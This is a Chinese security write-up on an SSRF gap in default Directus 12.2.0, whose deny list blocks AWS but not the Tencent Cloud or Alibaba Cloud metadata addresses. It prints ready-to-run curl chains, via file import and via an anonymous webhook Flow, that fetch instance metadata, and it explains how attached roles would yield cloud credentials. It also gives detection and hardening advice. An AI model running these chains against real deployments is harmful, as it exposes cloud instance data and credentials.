黑名单只防了 AWS?Directus 默认配置下 SSRF 直通国产云 metadata
一句话结论:Directus 的 SSRF 默认黑名单 IMPORT_IP_DENY_LIST 只写了两条——本机代表地址 0.0.0.0 和 AWS 的 169.254.169.254,而腾讯云的 metadata 地址是 169.254.0.23、阿里云是 100.100.100.200,全都不在名单里;实测在默认配置的 Directus 12.2.0 上,链 A(低权限账号的 /files/import)与链 B(零认证的匿名 Webhook Flow)都能直通腾讯云 metadata 拉回实例指纹,一旦实例绑定 CAM 角鱼,拿到的就是一组真实临时 AK/SK。
排版说明:本文为兼容纯文本存储环境做了等价书写——代码示例中的反斜杠续行符一律合并为单行命令,JSON 请求体保留原文双引号于单引号参数内,路径分隔统一用正斜杠。
一、从一个默认值引发的追问
复现环境:Ubuntu 22.04,Docker Compose 跑 Directus 12.2.0(PostgreSQL 16),同机还有 NocoDB 与 n8n 当内网靶标。目标机器的 metadata 服务地址是 169.254.0.23——腾讯云的,不是 AWS 那个。
作者之前分析过 Directus 文件导入 SSRF 的私有网段盲区(默认黑名单只管本机,内网随便打),当时留了个尾巴:AWS 的 169.254.169.254 被默认黑名单拦了,觉得「官方至少防住了云上那条线」。后来再想不对劲:169.254.169.254 是 AWS 的地址,国内厂商的 metadata 可不长这样——如果默认黑名单只写了 AWS,国产云用户部署上去等于没有防护。这篇文章就是验证这个假设。
读者两类:把 Directus 这类低代码平台部署在国产云上的运维;审计开源组件 SSRF 防护的开发者。
二、metadata 服务与各家地址差异
云厂商的 metadata 是给实例自己用的「自我介绍」接口:实例启动时,操作系统、配置工具、容器编排系统都会来问它——我是谁(instance-id)、我在哪(region)、网络配置如何(IP/MAC)、有没有权限(角色凭证)。地址固定、协议固定,只有实例自己访问得到(至少设计意图如此)。
AWS 把 metadata 放在 169.254.169.254,属于 link-local 地址段 169.254.0.0/16,不经过路由就能访问,防火墙拦不住。SSRF 一打这个地址等于让服务器自答「我是谁」:2017 年 Capital One 事件就是一个 SSRF 打到 metadata 拿走 IAM 凭证,几百万用户资料被拖。此后所有云厂商安全基线里都有「SSRF 必须防 metadata」这一条。
但这条基线是 AWS 的基线,各家实现地址各不相同:
| 云厂商 | metadata 地址 |
|---|---|
| AWS | 169.254.169.254 |
| 腾讯云 | 169.254.0.23 |
| 阿里云 | 100.100.100.200 |
| 华为云 | 169.254.169.254(与 AWS 相同) |
三、默认黑名单到底写了什么
源码在 packages/env/src/constants/defaults.ts:
IMPORT_IP_DENY_LIST: ['0.0.0.0', '169.254.169.254'],
就两条。对照 CVE-2026-61835(0.0.0.0 绕过,2026-07-15 公开,12.0.0 之前全受影响)的修复过程:官方修 0.0.0.0 时把 0.0.0.0/8 网段、IPv6 的 :: 都塞进黑名单,还顺手把本机所有网卡 IP 加进去——本机保住了,但「云厂商 metadata」只保了 AWS 一家。
0.0.0.0 的处理演变(is-denied-ip.ts):11.17.0 里只设了一个标志位就 continue,0.0.0.0 这个地址本身没进黑名单:
if (blockNetwork === '0.0.0.0') {
blockNetworkInterfaces = true;
continue;
}
12.2.0 的修复版多了 blockList.parseSubnet('0.0.0.0/8') 与 blockList.parseAddress('::')。修复本身是对的,但只解决了这一个字面量;黑名单覆盖面仍是「本机 + 一个云厂商的地址」。
拦截逻辑挂在 axios 自定义 agent 上(services/files.ts):
const axios = await getAxios();
fileResponse = await axios.get<Readable>(encodeURL(importURL), {
responseType: 'stream',
decompress: false,
});
getAxios() 返回的实例连接前查一次黑名单、DNS 解析后再查一次。文件导入和 Flow 的 request 操作共用这一个实例——后面两条链都跟它有关。
四、环境:一台主机上的 Directus
Docker Compose 部署(postgres + directus 两个服务)。部署阶段一个与主题无关但值得记的坑:compose 自动创建的 uploads 目录属主是 root,容器里 node 用户(uid 1000)写不进去,日志报 WARN: Upload directory is not read/writeable——删目录用 uid 同为 1000 的 ubuntu 用户重建即可绕过。版本确认用管理员 token 查 /server/info:12.2.0,2026-07-29 构建。
容器拓扑(docker ps):Directus 在 8055,NocoDB 在 8080,n8n 在 5678;Directus 位于 docker 网络 172.20.0.3(gw=172.20.0.1),NocoDB 在 172.17.0.2,两个不同的 bridge 网络。metadata 服务不在 docker 网络里,在宿主机上,地址 169.254.0.23,只对宿主机自己可达。
先摸 metadata 本身,宿主机直接 curl:
curl -s http://169.254.0.23/latest/meta-data/
# app-id instance-id local-ipv4 mac public-ipv4 uuid instance-name
# hostname placement/ payment/ network/ volumes/ instance/ ntp/ rdma-subnet
腾讯云的 metadata 协议和 AWS 基本一致,都是 /latest/meta-data/ 这套路径,区别只在 IP。默认黑名单写了 AWS 却没写腾讯云,不是「协议不支持」,纯粹是没想到。
五、链 A:有账号的 SSRF,import 直通 metadata
权限画像:import 端点需要 directus_files 创建权限——默认管理员有,真实部署里编辑角色也常被授予(内容编辑传封面图/附件是刚需)。作者在环境里建了只给 directus_files create 的 content-editor 角色验证:editor 跑 import 返回 HTTP 204(创建成功,无读权限看不到响应体),管理员视角文件列表可见、uploaded_by 是 editor。低权限编辑也能触发 import SSRF。
打根路径(登录拿 token 后,注意 curl 多行已合并为单行):
TOKEN=$(curl -s -X POST http://localhost:8055/auth/login -H 'Content-Type: application/json' -d '{"email":"admin@example.com","password":"Admin123!"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["data"]["access_token"])')
curl -s -X POST http://localhost:8055/files/import -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"url":"http://169.254.0.23/"}'
返回 200,文件入库;读回 /assets/文件id 的内容,metadata 的目录结构(1.0/ 2017-09-19/ latest/ meta-data/)被当成文件拉进了 Directus——请求真的发出去了,黑名单没拦住。
拉敏感端点:-d '{"url":"http://169.254.0.23/latest/meta-data/instance-id"}' 拿到实例 ID(ins-2axv5mea);继续 uuid、hostname、local-ipv4、placement/region、network/interfaces/macs,全部 200 入库。到这一步实例指纹完整泄露:ID、区域、主机名、内网 IP、MAC 列表。
对照组:换 AWS 地址打 http://169.254.169.254/latest/meta-data/ 被拦,日志给出原因:
WARN: Couldn't fetch file from URL "http://169.254.169.254/latest/meta-data/": Requested domain "169.254.169.254" resolves to a denied IP address
一拦一放,差别就出来了。阿里云 100.100.100.200 在这台机器上不可达(HTTP 000,防火墙层就断了),属于「不在名单但环境未验证」。
CAM 角色凭证的诚实边界:metadata 里 /latest/meta-data/cam/security-credentials/ 实测 404——这台机器没绑 CAM 角色。腾讯云的机制:实例绑了角色,这个目录才返回一组临时 AK/SK(有效期几小时、自动轮换);容器、K8s 节点、Serverless 为给工作负载授权基本都会绑。所以对绑角色的实例,链 A 就不是读指纹这么简单,import 把 security-credentials 拉回来就是一组真实临时凭证。作者诚实标注:实测到「指纹泄露 + 凭证机制推演」,没实测到凭证。
六、链 B:零账号的 SSRF,匿名 Webhook Flow
链 A 要账号,链 B 什么都不要——Directus 的 Flow(可视化自动化工作流,类似 n8n:一个触发器 + 一串操作)。Webhook 触发器意味着外部发 HTTP 请求到 /flows/trigger/,Flow 就跑。
路由注册(api/src/controllers/flows.ts):
router.get('/trigger/:pk(' + UUID_REGEX + ')', checkIsLocked('flows'), webhookFlowHandler, respond);
router.post('/trigger/:pk(' + UUID_REGEX + ')', checkIsLocked('flows'), webhookFlowHandler, respond);
没有认证中间件,只有一把「流程是否锁定」的锁。runWebhookFlow 的实现更直接:
public async runWebhookFlow(id, data, context) {
if (!(id in this.webhookFlowHandlers)) {
throw new ForbiddenError();
}
const handler = this.webhookFlowHandlers[id];
return handler(data, context);
}
从内存表按 id 找 handler,找到就执行,从头到尾不检查调用者身份。唯一门槛是 UUID 好不好猜:122 位随机熵理论上猜不到,但 flow id 会出现在活动日志、分享出去的链接、前端各种状态里,泄露途径不少——把防线建立在「别人猜不到我的 ID」上本身就脆。
request 操作源码(api/src/operations/request/index.ts)关键就在 getAxios:与文件导入同一个实例、同一套黑名单,所以 Flow 的 request 打 169.254.0.23 同样不拦。
搭建过程中的四个坑(实操价值):
- 一个 POST 同时建 Flow 和嵌套 operations 会报 Validation failed——operation 的 key、type、position_x、position_y 必须都有;改成先建 Flow 再单独建 operation。
- Flow 的 operation 字段(入口操作)默认是 null,触发后 $last 仍是触发数据;要 PATCH 显式关联。
- Webhook 触发器 options 要配
"return":"$all"才返回操作结果;$ 在 bash 里会被展开,写成 JSON 文件用 -d @file 绕过。 - Flow 建完不生效、触发 403(日志 Couldn't find webhook or manual triggered flow),要
docker restart directus热加载,等十几秒。
建 Flow 与挂操作(命令已合并单行):
curl -s -X POST http://localhost:8055/flows -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"name":"meta-flow","status":"active","trigger":"webhook","accountability":"all","options":{"method":"GET"}}'
curl -s -X POST http://localhost:8055/operations -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"flow":"<flow_id>","type":"request","key":"op-meta","position_x":1,"position_y":1,"options":{"url":"http://169.254.0.23/latest/meta-data/instance-id","method":"GET"}}'
curl -s -X PATCH http://localhost:8055/flows/<flow_id> -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"operation":"<op_id>"}'
然后不带任何 token 触发:
curl -s "http://localhost:8055/flows/trigger/<flow_id>"
# {"$trigger":{...},"$last":{"status":200,"data":"ins-2axv5mea"},...}
\(last 里的 data 就是 instance-id。整个过程没登录、没 token、没 IP 白名单,一个 curl 拿到云实例 ID。看响应里的 \)accountability:role 和 user 全是 null——在 Directus 里 accountability 为 null 就是系统身份,执行时不经过任何权限校验:
"$accountability": { "role": null, "user": null, "roles": [], "admin": false, "app": false, "ip": "172.20.0.1" }
管理员为什么会配出这种 Flow:Webhook Flow 的典型用法是给外部系统回调入口(订单系统推进消息→触发流程→写库或调第三方接口),外部系统没有 Directus 账号,触发器的 accountability 只能选 all(选 trigger 匿名请求连触发都做不到)。坑在于 Directus 把「谁能触发」和「操作以什么身份执行」拆成两个独立配置:管理员想的是「让外部系统能触发」,request 执行时用的却是系统级身份——两个配置分开看都没问题,组合起来就是一条匿名系统执行链,配完界面上没有任何警告。
七、影响评估
实例指纹的价值:instance-id(云厂商内部标识,配合 region 定位实例)、hostname(往往带 staging/prod/项目代号等业务信息)、内网 IP + MAC(直接画网络拓扑)。单条不致命,合起来是完整实例画像——打内网前的侦察完成一半;且 mac 与 uuid 在云厂商工单/备案系统可反查,拿到指纹等于拿到这台机器在云厂商侧的「身份证号」。
绑了角色就是云凭证(机制推演、非实测):容器/K8s 节点基本都绑角色,不绑服务没法访问对象存储、拉私有镜像;对绑角色的实例,链 A/链 B 直接就是拿凭证。一句话:默认配置的 Directus + 绑了角色的实例 = 从文件导入(或匿名 Flow)直达云凭证的链。
给维护组件的人提个醒:SSRF 黑名单默认值很多项目照着 AWS 安全文档抄,metadata 填 169.254.169.254 收工——国产云用户部署上去防护就是空的。审计这类组件,除了看它拦了什么,看一眼它漏了哪家云,这个检查项值得写进 checklist。
八、检测工具与防御建议
在之前的 import-ssrf-audit.py 基础上加了 --metadata-check 模式,一次跑完三家的可达性:
python3 import-ssrf-audit.py http://localhost:8055 admin@example.com Admin123! --metadata-check
[+] login ok, token len 321
[BLOCKED ] aws http://169.254.169.254/latest/meta-data/ ← 默认黑名单生效
[HIT ] tencent http://169.254.0.23/latest/meta-data/instance-id ← 不在默认黑名单,可打
[UNREACHABLE] aliyun http://100.100.100.200/latest/meta-data/
三行输出把核心结论压缩完了。安全团队拿它对线上实例跑一遍,几秒就知道国产云 metadata 有没有暴露。
防御建议:
- 黑名单补全国产云地址:IMPORT_IP_DENY_LIST 环境变量显式覆盖:
IMPORT_IP_DENY_LIST=0.0.0.0,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.169.254,169.254.0.23,100.100.100.200,并补齐各云厂商完整 metadata 网段。 - Flow 触发加认证:Webhook Flow 前挂网关做签名校验,或把 accountability 从 all 改成 trigger。
- 云侧加固:实例能不绑角色就不绑;必须绑的用最小权限策略;metadata 服务一般不能关但可限制访问来源。
- 更新版本:CVE-2026-61835(0.0.0.0 绕过)与 CVE-2026-61836 都是 2026-07-15 公开、12.0.0 之前全受影响;官方对 0.0.0.0 的修复有效,但黑名单覆盖面需要管理员自己补。
- 自查闭环:用脚本跑,输出里 tencent 行是 HIT 即暴露;补完配置再跑一遍应变 BLOCKED——留验证闭环,别补完配置就觉得自己安全了。